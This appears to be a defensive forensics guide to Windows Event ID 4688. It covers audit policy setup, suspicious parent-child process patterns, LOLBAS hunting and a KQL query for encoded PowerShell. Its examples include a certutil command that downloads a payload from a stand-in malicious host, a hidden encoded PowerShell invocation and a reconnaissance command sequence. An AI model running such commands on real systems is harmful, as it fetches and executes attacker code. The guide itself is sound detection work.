Skip to content

Artifact Analysis: Event ID 4688 & Process Lineage

1. The Visibility Prerequisite (GPO Configuration)

Section titled “1. The Visibility Prerequisite (GPO Configuration)”

By default, modern Windows environments do not log process creation, nor do they capture command-line arguments, citing privacy and storage concerns. An Event 4688 without command-line data is severely degraded for DFIR purposes.

To unlock the full potential of this artifact, administrators must deploy a Group Policy Object (GPO) across the domain:

  1. Enable Process Creation Auditing: Navigate to Computer Configuration > Policies > Windows Settings > Security Settings > Advanced Audit Policy Configuration > Detailed Tracking. Set Audit Process Creation to Success.
  2. Enable Command Line Auditing (CRITICAL): Navigate to Computer Configuration > Policies > Administrative Templates > System > Audit Process Creation. Set Include command line in process creation events to Enabled.

Once properly configured, parsing an Event 4688 record yields three highly structured categories of forensic data.

  • Security ID / Account Name: Identifies the user or service account that initiated the execution. If a standard user account spawns an administrative tool, it warrants immediate scrutiny.
  • New Process Name: The absolute path of the executed binary (e.g., C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe).
  • New Process ID (PID): The hexadecimal identifier of the spawned process.
  • Process Command Line: The most valuable field. It reveals exactly how the binary was executed, exposing arguments, flags, and embedded scripts (e.g., powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand JAB...).

C. Creator Process Information (Where From)

Section titled “C. Creator Process Information (Where From)”
  • Creator Process Name: The path of the parent executable.
  • Creator Process ID: The parent PID. This is the cryptographic link used to reconstruct the Process Lineage (the process tree).

3. DFIR Triage: Hunting by Process Lineage

Section titled “3. DFIR Triage: Hunting by Process Lineage”

Process Lineage analysis relies on understanding standard Windows behavior. Malicious activity often breaks these logical rules. Analysts stack Event 4688 logs to find anomalous Parent-Child relationships.

Phishing & Macro Abuse

Suspicious Lineage: outlook.exe or winword.execmd.exe or powershell.exe. Word processors have no legitimate business spawning command interpreters. This is a classic signature of a malicious macro executing a dropper payload.

Web Shell Execution

Suspicious Lineage: w3wp.exe (IIS), httpd.exe, or tomcat.execmd.exe or whoami.exe. If a web server daemon spawns an interactive shell or a reconnaissance binary, the server has been compromised via an RCE exploit or a Web Shell.

Threat actors heavily utilize Living Off The Land Binaries and Scripts (LOLBAS)—native Windows tools like certutil.exe, bitsadmin.exe, or rundll32.exe—to download payloads or execute code without dropping custom malware.

Event 4688 exposes these techniques via the Command Line field. Analysts must hunt for:

  • Reconnaissance Cascades: Rapid sequential execution of whoami, net group "Domain Admins" /domain, systeminfo, and nltest.
  • Base64 Obfuscation: Attackers encode PowerShell payloads to evade simple string-matching antiviruses. The presence of -enc, -EncodedCommand, or a massive block of alphanumeric characters in the command line is highly suspect.
  • Remote Downloads: certutil.exe -urlcache -split -f http://malicious.com/payload.exe

While native Event 4688 is excellent, Microsoft provides an advanced alternative: Sysmon Event ID 1 (Process Creation). If both are available, Sysmon is vastly superior.

FeatureWindows Event 4688Sysmon Event ID 1
Command Line LoggingRequires separate GPOEnabled by default
Binary HashNot availableMD5, SHA1, SHA256, IMPHASH
Original File NameNot availableYes (Defeats binary renaming)
Process GUIDNot availableYes (Flawless cross-reboot correlation)

Use these queries to proactively detect anomalous process lineage and obfuscation in your SIEM.

hunt_obfuscated_powershell.kql
// Detects PowerShell executions containing common Base64 encoded flags
SecurityEvent
| where EventID == 4688
| where ProcessName has "powershell.exe" or ProcessName has "pwsh.exe"
| where CommandLine contains "-e " or CommandLine contains "-enc" or CommandLine contains "-EncodedCommand"
| project TimeGenerated, Computer, Account, ParentProcessName, ProcessName, CommandLine
| sort by TimeGenerated desc